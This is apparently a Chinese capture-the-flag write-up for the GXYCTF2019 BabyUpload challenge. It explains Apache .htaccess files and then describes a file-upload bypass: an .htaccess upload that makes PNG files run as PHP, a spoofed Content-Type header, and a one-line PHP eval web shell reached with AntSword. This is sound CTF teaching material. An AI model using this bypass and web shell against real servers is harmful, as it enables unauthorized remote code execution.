微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[GXYCTF2019]BabyUpload

笔记:

.htaccess是什么

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置认文档等功能

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config

笼统地说,.htaccess可以帮我们实现包括文件密码保护用户自动重定向自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户禁止目录列表,以及使用其他文件作为index文件等一些功能

这里上传.htaccess文件是为了让它把png图片PHP执行。

 

1.上传一个包含后门的shell.PHP文件提示后缀不能包含ph,那.phtml文件也是不行的

2.考虑上传一个.htaccess文件,并把.PHP后缀修改为.png,让.htaccess文件把png文件PHP执行。

3.上传失败,就抓包

image-20211222131046197

4.抓包后把Content-Type修改为image/jpeg,上传成功

image-20211222131209520

5.再上传一个shell.png,内容

<script language="PHP">eval($_POST['hhz'])</script>

同样修改Content-Type: image/jpeg,上传成功,然后用蚁剑连接,得到flag。

image-20211222131427173

image-20211222131435917

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐